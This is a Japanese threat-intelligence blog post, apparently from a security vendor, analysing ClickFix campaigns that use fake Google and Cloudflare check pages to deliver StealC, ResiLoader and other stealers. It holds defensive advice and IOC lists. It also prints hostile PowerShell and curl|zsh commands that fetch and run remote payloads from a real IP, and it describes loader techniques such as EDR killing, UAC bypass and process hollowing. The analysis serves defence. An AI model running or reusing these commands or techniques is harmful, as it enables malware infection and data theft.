ユーザーを騙して自ら悪意のあるコマンドを実行させる「ClickFix」攻撃は、進化を続けています。この最新のキャンペーンでは、偽のGoogleおよびCloudflareの認証ページを利用して、被害者に自身のデバイスを感染させるよう仕向けています。
たった一つのミスで、パスワードやその他の機密データを盗み出したり、攻撃者にコンピュータへのリモートアクセス権を与えたり、あるいはシステムを完全に乗っ取る可能性のある追加のマルウェアをダウンロードさせたりするマルウェアがインストールされてしまう恐れがあります。
我々は、HijackLoader、StealC、Remus、Amatera Stealer、CastleLoader、NetSupport、およびRustベースのステラーなど、マルウェアを配信するために同一のインフラストラクチャを利用している複数のキャンペーンを突き止めました。
ある感染経路では、正規のメッセージングアプリ「Franz」のトロイの木馬化されたバージョンが、これまで報告されていなかった「ResiLoader」と呼ばれるローダーをダウンロードし、これがセキュリティソフトウェアを無効化した上で、情報窃取型マルウェア「StealC」を展開する。
技術的な詳細に入る前に、次の被害者にならないための方法をご紹介します。
安全に過ごすには
ClickFixによる攻撃は、ユーザーに自らコマンドを実行させることに依存しています。最も安全な対処法は単純です:
- 信頼できる情報源の指示に従っている場合、かつそのコマンドが何を行うかを正確に理解している場合を除き、ウェブサイトからコマンドをコピーして実行してはいけません。
- 認証ページには注意してください。Google、Cloudflare、Microsoft などの正規のサービスが、あなたが人間であることを証明したり、問題を解決したりWindows に PowerShell コマンドを貼り付けるよう求めることは決してありません。
- 焦って行動しないようにしましょう。偽の認証ページでは、カウントダウンタイマーや訪問者カウンター、警告文などを用いて、利用者に急いで行動するよう圧力をかけることがよくあります。
- セキュリティソフトウェアは常に最新の状態に保ってください。リアルタイム保護機能やWeb保護機能を利用すれば、悪意のあるWebサイトにアクセスする前に、そのアクセスをブロックすることができます。
- 予期しない技術的な指示には注意してください。ウェブサイト上でPowerShell、コマンドプロンプト、またはターミナルを開くよう指示された場合は、一旦停止し、その企業の公式サポート窓口を通じてその指示の正当性を確認してください。
プロのヒント:Malwarebytes Browser Guard は、ウェブサイトがクリップボードにコンテンツをコピーしようとした際に警告を表示します。これは、ClickFixページがよく使う手口です。
テクニカル分析
本調査で分析対象としたキャンペーンは、少なくとも2025年後半から活動を続けており、さまざまな偽のGoogleおよびCloudflareページを利用してマルウェアを配信している。誘引手法は異なるものの、インフラや感染経路の多くは共通しており、攻撃者は新たな配信手法やペイロードを絶えず試している。
ルアーは違っても、目標は一つ
こうしたキャンペーンのほとんどには、いくつかの共通点があります:
- フォルダの使い方
C:\ProgramData\Zooms後期の段階を抽出する - 同様のパターンに従う PowerShell ClickFix コマンド
- Cloudflare R2 バケットを使用したペイロードの配信
- ASN Dedik Services Limited がホストする IP アドレス
- 特定のフレーズのみを含むHTMLレスポンス
"hehe"
これらの指標は時間の経過とともに変化しているため、すべての感染チェーンに見られるわけではありません。攻撃キャンペーンは進化を続けており、新しいペイロードや配信手法が定期的に導入されています。例えば、バケットの代わりにIPアドレスが直接ペイロードの配布に使用されるケースもあります。
ユーザーがコピーした最後のコマンドは、通常、次のようなパターンになります:
powershell -c “iex(irm ‘{IP}:{Port}/{Random Path}’ -UseBasicParsing)”
分析対象の事例において、ポート番号やパスが常に存在するとは限りません。ポート番号はランダムですが、使用されているものには、6600、9900、5506、7895、7493、149、8442などがあります。
これらのコマンドを実行するために、主にGoogleや Cloudflareに関連するいくつかのClickFix関連テンプレートが使用されています。また、場合によっては、PowerShellコマンドがIClickFixフレームワークを通じて配布されていたことも確認されました。
これらのClickFixキャンペーンは、以下の経路を通じて拡散されていることを確認しました:
- 有効期限が切れたと思われる古いウェブサイトであり、犯人らによって買い戻されたもの。
- CloudFlare Pages (
.pages.devドメイン)。 - 改ざんされたウェブサイト。
- QRコードやWebファイルへのアクセスなどに関連する偽のサービス。
Google ClickFixの誘い文句
こうしたキャンペーンの仕掛け人たちは、Google関連のさまざまなHTMLページやキットを利用しています。
あるフィッシング手口は、GoogleのreCAPTCHA認証を装っています。これらのページは、偽のコンテンツや悪意のあるコンテンツを表示するランダムなURL上にホストされています。これらのドメインは、多くの場合、以前から登録されていたものが最近になって新しいIPアドレスに解決されるようになったものであり、このキャンペーンのために流用されたことを示唆しています。
これらのページの中には、「zoneid」、「cost」、「device」、「country」、「clickid」といったURLパラメータが含まれているものがあります。例えば、次のようなものです:
/conf/captcha.html?zoneid=10420852/wincapbot/nobot.html/xmr/trkuste.php?zone=5327134bless.php?zoneid=10327549&clickid=1091581084925173761&cost=0.000000&country=US&device=desktop


この場合、ClickFix に関連する関数は、クラス内に実装されています。 CustomCaptcha. このコマンドは、難読化されておらず、そのままの形で記載されています。

もう1つの配信方法として、以下でホストされているCloudflare Pagesを利用する方法があります。 .pages.dev サブドメイン。

このケースでは、HTMLページは、いくつかの変数を宣言し、それらをXOR演算することで難読化されています。難読化を解除したコードは、 SECURITY GATEWAY そして、これは以下の関数で構成されています GatewayRuntime, RemoteVault, BeaconDispatcher, Clipboard, TokenController、そして PanelController.
このコードにより、攻撃者はリモートまたはローカルのいずれかの方法でコマンドを取得することができます。このサンプルでは、悪意のある PowerShell コマンドがローカルに保存されています。

また、これらのドメインの一部は過去に別のデコイを配布していたことも判明しました。このケースでは、不正なGoogleログインに関連するものでした。このClickFixのデコイは、ユーザーに対し、悪意のあるコマンドをコピーして貼り付け、自分のデバイスをプライマリとして設定するよう求めています。

このClickFixキットの興味深い点は、コメントにもあるように「承認ゲート」が搭載されていること、そして攻撃者がパネルから、ユーザーに実行させるコマンドを手動で選択しなければならないという点です。


最近のキャンペーンでは、Google Meetに関連する「ClickFix」という手口が確認されています。この手口では、音声の問題を解決するために悪意のあるコマンドをコピーして貼り付けるよう要求されます。

分析対象の症例において、エンドポイントは /api/driver-clipboard.php 次のような悪意のあるコマンドを返した:
{"mac":"curl -kfsSL $(echo '…'|base64 -D)|zsh","windows":"powershell -c \"iex(irm '151.240.151.126/rRlmZcaaZfAE3U2BaH' -UseBasicParsing)\""}
その他のルアー
このキャンペーンの背後にいる攻撃者は、主にGoogleに関連するさまざまなキットやルアーを使用しています。しかし、同じインフラストラクチャに関連するコマンドを模倣した他のルアーも検出されています。
これらの攻撃キャンペーンの背後にいる攻撃者は、CloudFlare ClickFixを装った手口に関連するさまざまなテンプレートを用いて、複数のウェブサイトを乗っ取っている。


CloudFlare ページで使用されているテンプレートをいくつか検出しました。分析対象のケースでは、このコマンドは平文で記載されているか、場合によっては難読化されています。



また、特定の目的で作成された偽のサービスサイトもいくつか検出されました。例えば、「My QR Generator」というサイトでは、難読化されたQRコードが表示され、ユーザーがロボットではないことを確認するためにPowerShellコマンドを実行するよう求められます。

この場合、コマンドはBase64でエンコードされています:

PowerShell ダウンローダー
ユーザーが実行した「ClickFix」コマンドは、スクリプトをデコードし、それを「Temp」フォルダに、名前を tmp{4 char}.tmp.ps1.
このスクリプトにはいくつかのバリエーションが確認されていますが、最近のバージョンでは次のような動作をします:
- フォルダを作成する
C:\ProgramData\Zooms. - CloudFlareのバケットから次のステージをダウンロードし、以下の場所に保存してください
C:\ProgramData\Zooms. スクリプトのいくつかのバリエーションでは、次の段階がIPアドレスから直接ダウンロードされます。 - 侵害されたマシンの情報を以下の宛先に送信してください
http://{IP}/dl-callback. この台本のいくつかのバージョンでは、この部分は含まれていない。

これらの攻撃キャンペーンの背後にいる攻撃者は、多種多様なペイロードを多数使用しています。これらのキャンペーンでは、多種多様なペイロードが配信されています。以下の表は、ダウンロードされたファイル名の一部と、それらがインストールするマルウェアをまとめたものです。分析対象となった多くの事例において、最終的なペイロードはDLLハイジャッキングを介して配布されていました。これについては、後述するStealCステラーの事例でも確認できます。
| ファイルの配布 | マルウェアの拡散 |
libEGL.zip, Safe-1.zip | トロイの木馬化されたElectronアプリ、ResiLoader、およびStealC |
Test.msi | Deno Loader と PowerShell Stealer |
arworks.zip | アマテラ・スティーラー |
water-night.zip | レムス・スティラー |
Setup.msi, Invintrum_first.msi | NetSupport |
traffic1.msi | CastleLoader |
ibrowser.exe | ラスト・スティーラー |
我々は、最終的にStealCを配布する「ResiLoader」と呼ばれる新しいローダーを分析しました。また、最新のキャンペーンにおいて、脅威アクターがDenoを使用して、最終的にPowerShellで開発された情報窃取ツールを配布し始めていることも確認しました。この感染チェーンの分析については、今後のブログ記事で取り上げる可能性があります。
トロイの木馬化されたElectronアプリがResiLoaderをダウンロードする
この場合、ZIPファイルは次の場所からダウンロードされました:
pub-7080e0c20a0e47ca95a476869c532367.r2[.]dev/libEGL.zip
抽出後、以下の場所に:
C:\ProgramData\Zooms\libEGL.zip_ext
このZIPファイルには、「Franz」というオープンソースのメッセージングアプリのトロイの木馬化されたバージョンが含まれています:

この悪意のあるコードは、 index.js ファイル:

このダウンローダーは、以下の操作を実行します:
- 関数を使って文字列をデコードする
HC(). - 閲覧数
readme.txt, は、次のような形式のキャンペーンキーを期待していますAAAA-BBBB, をトークンの配列として返します。この場合、名前はresiloader-1そこで、ダウンロードしたDLLを「ResiLoader」と呼ぶことにします。 - 閲覧数
%APPDATA%\setup.txt; 指定がない場合は、8文字のランダムな文字列を生成し、それを保存します。 - 以下を使用して永続化を実現する
app.setLoginItemSettings. - にPOSTリクエストを送信します
https[:]//completstep[.]com/api/そして、JSONレスポンスを詳細に説明する- もし
task.eが存在する場合、それを実行するeval(task.e); これにより、攻撃者は任意のJavaScriptコードを実行できてしまいます。 - もし
task.filesが存在する場合は、作成する%TEMP%\<Date.now()>\, 各ファイルをデコードして書き出す。ファイル名の末尾が.exe, 以下の方法で実行してくださいchild_process.exec.
- もし
今回のケースでは、以下のDLLのハイジャックを行うZIPファイルを受け取りました。 ssh-add.exe:
{"task":{"name":"JUNE18USY","files":{
"msys-2.0.dll":"<base64>",
"msys-crypto-3.dll":"<base64>",
"msys-gcc_s-seh-1.dll":"<base64>",
"ssh-add.exe":"<base64>" }}}
その後、実行ファイルは以下のコマンドで実行されました:
C:\WINDOWS\system32\cmd.exe /d /s /c ""C:\Users\{user}\AppData\Local\Temp\1782122017599\ssh-add.exe""
ResiLoader
について msys-crypto-3.dll 難読化された .NET NativeAOT loader これは、BYODの手法を用いてAV/EDRの検知を回避し、システムへの永続性を確保した上で、最終的に情報窃取型マルウェア「StealC」をロードするものです。このローダーに関する具体的な帰属情報は確認できなかったため、以前のサンプルに含まれていた文字列に基づき、「ResiLoader」と命名しました。 readme.txt.
このローダーには、平文の文字列と暗号化された文字列がいくつか含まれています。これらの文字列を復号化することで、ResiLoaderの機能の全容を把握することが可能になります。
MANPO: ReadModule len=...
MANPO: magicOffset=...
…
PERS: FAIL all file copies failed, skipping run key
PERS: FAIL both HKLM and HKCU Run key writes failed
…
RUNPE: CreateProcess failed
RUNPE: PEB patched
RUNPE: VirtualAllocEx failed
…
POST: RunForever exited (unexpected)
POST: entering RunForever
POST: hollow=
このローダーは、以下の操作を実行します:
- マーカーを読み取り、2つのペイロードを含むエンコードされたブロブを抽出する
AtLorenBaseおよびエンコードされたブロブの長さ。その後、ブロブをデコードし、ドライバの暗号を復号しますpcdhost.sys(OPSWAT
AppRemover Driver)およびStealCペイロードを、独自の復号アルゴリズムを使用して復号する。 - 削除されたドライバーを使用して、EDR/AVに関連する140以上のプロセスを終了させます。
- 以下の方法でUACのバイパスを実行する
ICMLuaUtil拡張COMインターフェース。 - フォルダを作成する
C:\ProgramData\Google Update、自身を複製し、RUN レジストリキーを使用して永続化を実現する cmd /c start "" /D "C:\ProgramData\Google Update" ssh-add.exe
最終的に、ローダーはそのプロセスのプロセスホローイングを実行する ServiceModelReg.exe StealC ステラーを実行するには。
IOC
ハッシュ
72907d0ca3258365838626f6a8d993a6: ResiLoader DLL
0234E3188F2883A438B3F2BEAB7A78B2: StealC
6a9ac6b3fff7b695dbd4df6ff7f6c516: レムス
206ce339febca0c3bcc850f42595fc63: アマテラ・スティーラー
eee416efcb1e33f220cdb4b05496a07a: NetSupport RAT
b8d53740024d126cb55f83854335a4ab: ラスト・スティーラー
ドメイン
ClickFixのページを配布する:
onegeekworld[.]com
thefirmos[.]com
antibotv3[.]com
centralwildcats[.]com
cloud.antibotv3[.]com
cloudautosolutions[.]com
sunseekersupply[.]com
123clocks[.]com
orcanegames[.]com
rwmonitoring[.]com
100furniture[.]com
nepalcharchaa[.]com
p-floribunds.pages[.]dev
pg-altirade2.pages[.]dev
pg-cordivant-m6.pages[.]dev
g-luminence.pages[.]dev
generator-qrcode[.]online
regdev-google[.]com
khosla[.]capital
eorgke09054909j[.]com
dropboxi[.]com
ペイロードの配信に使用されるCloudFlareのバケット:
pub-4ed7b8ecee744dea930d74ba4ac74285.r2[.]dev
pub-620528e2dc874e16937673265aa23d39.r2[.]dev
pub-4ed7b8ecee744dea930d74ba4ac74285.r2[.]dev
pub-9682d5896df841679c5a17eb41273f89.r2[.]dev
pub-18d99d0d18b94e85824c1cc4d5b5c637.r2[.]dev
pub-0170eabb9df346bd822f863b7c3946e3.r2[.]dev
pub-4ed7b8ecee744dea930d74ba4ac74285.r2[.]dev
unitedstateverif[.]com: ペイロードの分散
bigflaredefence[.]com: ペイロードの分散
popularcard[.]shop: Rust Stealer C2
xzz[.]proxygrid[.]cc: アマテラ・スティーラー C2
completstep[.]com: ローダー C2
eventlogerps1[.]ink: Deno Loader
be231ro963[.]com: Deno Loader
IPアドレス
ペイロードの配信に使用されるIPアドレス:
151.240.151[.]126
85.239.149[.]16
85.239.149[.]40
93.152.224[.]29
151.240.151[.]46
93.152.224[.]167
85.239.149[.]78
192.69.195[.]131
135.181.171[.]40
94.26.83[.]206
91.92.34[.]128
85.239.144[.]31
93.152.224[.]39
94.26.90[.]112
146.19.248[.]120: StealC C2
謝辞
- 報告された関連ドメイン:https://x.com/stop_spammerz/status/2070152741037477960
- 報告された関連ドメイン:https://x.com/Yuki27183/status/2047354005605777850
- Redditでユーザーの感染が報告された:https://www.reddit.com/r/antivirus/comments/1stn24v/best_thing_to_do_after_getting_malware/
- 考えられる関連感染経路https://github.com/MessyToilet/csgo-scam-via-powershell-5-31-2026




